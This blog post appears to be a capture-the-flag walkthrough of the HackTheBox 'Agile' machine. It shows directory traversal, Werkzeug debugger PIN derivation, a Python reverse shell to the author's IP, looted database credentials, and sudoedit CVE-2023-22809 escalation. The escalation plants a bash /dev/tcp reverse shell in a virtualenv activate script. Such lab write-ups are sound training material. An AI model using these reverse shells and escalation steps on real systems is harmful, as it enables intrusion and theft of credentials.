HackTheBox "Agile"
April 14th, 2023

Introduction
Agile is a medium box released on March 4th, 2023 by 0xdf.
User Own
Starting off with an nmap scan reveals a couple things.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-13 21:41 EDT
Nmap scan report for superpass.htb (10.10.11.203)
Host is up (0.032s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 f4bcee21d71f1aa26572212d5ba6f700 (ECDSA)
|_ 256 65c1480d88cbb975a02ca5e6377e5106 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: SuperPassword \xF0\x9F\xA6\xB8
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.20 seconds
We can see that this box is running NGINX. Attempting to connect to the box from a browser gives a redirect for a website called superpass.htb
. Adding this to /etc/hosts
let's us connect to the website properly.

This is pretty standard. An account can be created in the login page. After making an account, the website lets you create entries for passwords. The website also lets you conveniently export your passwords into a .csv file. When you download a file, you get taken to a subdirectory called download
.
GET /download?fn=username_export_1ee6927a7d.csv HTTP/1.1
This directory takes a parameter called fn
, meaning filename. The website basically generates a .csv file containing your passwords and passes the file as a parameter so it knows which .csv file to take. However, this parameter is not handled properly. Giving the parameter no input gives an error, specifically an IsADirectoryError.

It seems these .csv files are being generated in /tmp
. While this works fine to download files, it is vulnerable to directory traversal, particularly the line:
with open(f'/tmp/{fn}', 'rb') as f:
This line of Python code will read any file with the given path. We can escape the /tmp
directory using two periods, and can grab any file we want. A good persistent file to grab is /etc/passwd
.

There are the standard users, root
, www-data
, and sshd
, but there are some other users that aren't standard, being corum
, runner
, edwards
, and dev_admin
. This is great and all, but we can't really do much since we don't know the where important files are in the server. Those important files might not even be readable.
An interesting feature of Werkzeug is that the error pages feature a Python interpreter meant for debugging. I'm not sure if this isn't supposed to be in production, but it's available, so let's exploit it!
The debugger is accessed through a terminal icon in the traceback on any line of Python code. Being able to run Python code means gaining access to a reverse shell. Unfortunately, Werkzeug were smart enough to lock these interpreters with a PIN.

However, Werkzeug were not smart enough to make the PIN secure. The PIN is actually predictable, as long as you have access to directory traversal, which we do!
Following a couple guides on cracking this PIN (Thank you Hacktricks and Ben Grewell!), the PIN is generated through the values:
Username: This is the username of whoever is running the application. Directory traversal into
/proc/self/status/
reveals the user ID to be 33, which is the same user ID ofwww-data
, so this iswww-data
.Mod Name: This is either
flask.app
orwerkzeug.debug
.App Name: This is either
wsgi_app
,DebuggedApplication
, orFlask
.Absolute Path of
app.py
: The error page reveals this to be/app/venv/lib/python3.10/site-packages/flask/app.py
.MAC Address: This is the decimal version of the system's MAC address. This is normally unobtainable, but directory traversal into
/sys/class/net/eth0/address
reveals it to be00:50:56:b9:72:f5
, which is345052377845
.Machine ID: This is the concatenation of the machine ID and the app name. The machine ID is also normally unobtainable, but it can be obtained by grabbing the file
/etc/machine-id
which reveals it to beed5b159560f54721827644bc9b220d00
. The app name can be found by grabbing the file/proc/self/cgroup
and using the value after the last forward slash, which issuperpass.service
.
Feeding these values into Ben Grewell's PIN cracker will generate different PIN combinations. My correct PIN was 634-326-400
. This PIN used the combo:
www-data
flask.app
wsgi_app
/app/venv/lib/python3.10/site-packages/flask/app.py
345052377845
ed5b159560f54721827644bc9b220d00superpass.service
After cracking the PIN for Werkzeug and gaining access to the Python interpreter, a reverse shell can be created in the debug interpreter. The reverse shell I used is from PayloadsAllTheThings Reverse Shell Cheat Sheet.
import socket,os,pty;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.xx.xx",1234));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
pty.spawn("/bin/sh")
Listening via netcat gives us access:
nc -nvlp 1234
listening on [any] 1234 ...
connect to [LISTENER IP] from (UNKNOWN) [BOX IP] 51220
$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
After gaining a shell as www-data
, let's explore the app for any sensitive data. We know that the path for the app is /app
from the Werkzeug error page.
$ cd /app
cd /app
$ ls
ls
app app-testing config_prod.json config_test.json test_and_update.sh venv
A configuration for production, this probably has something good in it.
$ cat config_prod.json
cat config_prod.json
{"SQL_URI": "mysql+pymysql://superpassuser:dSA6l7q*yIVs$39Ml6ywvgK@localhost/superpass"}
Login credentials for the MySQL database. Now we can login to MySQL.
$ mysql --user=superpassuser --password
Enter password: dSA6l7q*yIVs$39Ml6ywvgK
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 424
Server version: 8.0.32-0ubuntu0.22.04.2 (Ubuntu)
Copyright (c) 2000, 2023, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql>
We can see what databases are available:
mysql> show databases;
show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| performance_schema |
| superpass |
+--------------------+
3 rows in set (0.00 sec)
mysql>
The promising database is superpass
, so let's select it with use superpass;
. After selecting superpass
, we can see which tables are available:
mysql> show tables;
show tables;
+---------------------+
| Tables_in_superpass |
+---------------------+
| passwords |
| users |
+---------------------+
2 rows in set (0.00 sec)
mysql>
There is a very promising table called passwords
, let's see what's inside it.
select * from passwords;
+----+---------------------+---------------------+----------------+----------+----------------------+---------+
| id | created_date | last_updated_data | url | username | password | user_id |
+----+---------------------+---------------------+----------------+----------+----------------------+---------+
| 3 | 2022-12-02 21:21:32 | 2022-12-02 21:21:32 | hackthebox.com | 0xdf | 762b430d32eea2f12970 | 1 |
| 4 | 2022-12-02 21:22:55 | 2022-12-02 21:22:55 | mgoblog.com | 0xdf | 5b133f7a6a1c180646cb | 1 |
| 6 | 2022-12-02 21:24:44 | 2022-12-02 21:24:44 | mgoblog | corum | 47ed1e73c955de230a1d | 2 |
| 7 | 2022-12-02 21:25:15 | 2022-12-02 21:25:15 | ticketmaster | corum | 9799588839ed0f98c211 | 2 |
| 8 | 2022-12-02 21:25:27 | 2022-12-02 21:25:27 | agile | corum | 5db7caa1d13cc37c9fc2 | 2 |
+----+---------------------+---------------------+----------------+----------+----------------------+---------+
5 rows in set (0.00 sec)
mysql>
That's the good stuff! But it's still not the flag. From earlier directory traversal, we know that corum
is a user for the box. We can rule out 0xdf
since it's just a reference to the author. corum
has three different passwords. Ticketmaster and mgoblog are real things, but agile
is not. I'm assuming Agile means the box itself, since that's the box's name, so let's login to the box using corum
's account and password from the database.
┌──(kali㉿kali)-[~]
└─$ ssh [email protected]
[email protected]'s password:
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-60-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Mar 8 15:25:35 2023 from 10.10.14.47
corum@agile:~$
We're in! A simple ls
reveals user.txt
which contains the flag for the user own.
corum@agile:~$ ls
user.txt
corum@agile:~$ cat user.txt

System Own
Within the app
directory contains an interesting file: config_test.json
. This file is not readable by corum
though. There's a directory for production using config_prod.json
, and there is also a directory for testing, so let's explore that. Looking at the test_site_interactively.py
file, we can see that this test build is available at test.superpass.htb
, which is running on port 5555.
ssh -L 5555:127.0.0.1:5555 [email protected]
Looking at test_site_interactively.py
again, we can see that Chrome devtools is running on port 41829.
@pytest.fixture(scope="session")
def driver():
options = Options()
#options.add_argument("--no-sandbox")
options.add_argument("--window-size=1420,1080")
options.add_argument("--headless")
options.add_argument("--remote-debugging-port=41829")
options.add_argument('--disable-gpu')
options.add_argument('--crash-dumps-dir=/tmp')
driver = webdriver.Chrome(options=options)
yield driver
driver.close()
ssh -L 41829:127.0.0.1:41829 [email protected]
Now we have access as to the Chrome debugger. Looking at the documentation for Chrome DevTools, we can find a useful endpoint: PUT /json/new?{url}
. Fortunately, modern web browsers allow us to open files using the protocol file
. So putting this all together, the previously inaccessible file config_test.txt
can be obtained by going to the URL http://localhost:41829/json/new?file:///app/config_test.json
.
Note: I wasn't able to see the debugger on Firefox, so I had to use Chrome instead.

This gives us a devtoolsFrontendUrl
, which we can go to:

{"SQL_URI": "mysql+pymysql://superpasstester:VUO8A2c2#3FnLq3*a9DX1U@localhost/superpasstest"}
More MySQL credentials, let's see what this account holds.
corum@agile:~$ mysql --user=superpasstester --password
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 569
Server version: 8.0.32-0ubuntu0.22.04.2 (Ubuntu)
Copyright (c) 2000, 2023, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql>
superpasstester
is pretty much the same as superpassuser
, so let's get to the good stuff:
mysql> select * from passwords;
+----+---------------------+---------------------+---------+------------+----------------------+---------+
| id | created_date | last_updated_data | url | username | password | user_id |
+----+---------------------+---------------------+---------+------------+----------------------+---------+
| 1 | 2023-01-25 01:10:54 | 2023-01-25 01:10:54 | agile | edwards | d07867c6267dcb5df0af | 1 |
| 2 | 2023-01-25 01:14:17 | 2023-01-25 01:14:17 | twitter | dedwards__ | 7dbfe676b6b564ce5718 | 1 |
+----+---------------------+---------------------+---------+------------+----------------------+---------+
2 rows in set (0.00 sec)
mysql>
More SSH credentials! Hopefully edwards
has more permissions than corum
.
edwards@agile:~$ sudo -l
[sudo] password for edwards:
Matching Defaults entries for edwards on agile:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User edwards may run the following commands on agile:
(dev_admin : dev_admin) sudoedit /app/config_test.json
(dev_admin : dev_admin) sudoedit /app/app-testing/tests/functional/creds.txt
edwards@agile:~$
We have access to sudoedit
. Looking up "sudoedit cve", we can find this GitHub page, which is a script for a CVE capable of privilege escalation. Looking at our sudo
version:
edwards@agile:~$ sudo -V
Sudo version 1.9.9
Sudoers policy plugin version 1.9.9
Sudoers file grammar version 48
Sudoers I/O plugin version 1.9.9
Sudoers audit plugin version 1.9.9
edwards@agile:~$
Our version of sudo
is before 1.9.12p2, which means sudoedit
is vulnerable to CVE-2023-22809. To use this CVE, we need a file that dev_admin
can write to and root
can run.
A vulnerable file is /app/venv/bin/activate
. Using the command:
EDITOR="vim -- /app/venv/bin/activate" sudo -u dev_admin sudoedit /app/config_test.json
We can write to /app/venv/bin/activate
. Now we can put a reverse shell in here, specifically a bash shell from the cheat sheet.
# This file must be used with "source bin/activate" *from bash*
# you cannot run it directly
/bin/bash -l > /dev/tcp/10.10.14.31/1234 0<&1 2>&1 # <--- Reverse shell here
deactivate () {
# reset old environment variables
if [ -n "${_OLD_VIRTUAL_PATH:-}" ] ; then
PATH="${_OLD_VIRTUAL_PATH:-}"
export PATH
unset _OLD_VIRTUAL_PATH
fi
if [ -n "${_OLD_VIRTUAL_PYTHONHOME:-}" ] ; then
PYTHONHOME="${_OLD_VIRTUAL_PYTHONHOME:-}"
export PYTHONHOME
unset _OLD_VIRTUAL_PYTHONHOME
fi
After putting this reverse shell in, we can listen and wait:
┌──(kali㉿kali)-[~]
└─$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.31] from (UNKNOWN) [10.10.11.203] 33648
/app/venv/bin/activate: connect: Connection refused
/app/venv/bin/activate: line 3: /dev/tcp/10.10.14.31/1234: Connection refused
/app/venv/bin/activate: connect: Connection refused
/app/venv/bin/activate: line 3: /dev/tcp/10.10.14.31/1234: Connection refused
whoami
root
ls /root
app
clean.sh
root.txt
superpass.sql
testdb.sql
Eventually, root
will activate the virtual environment for the app and, as a result, give us a reverse shell as root
. Checking /root
, we can find what we're looking for, root.txt
.

And that's the box!

Last updated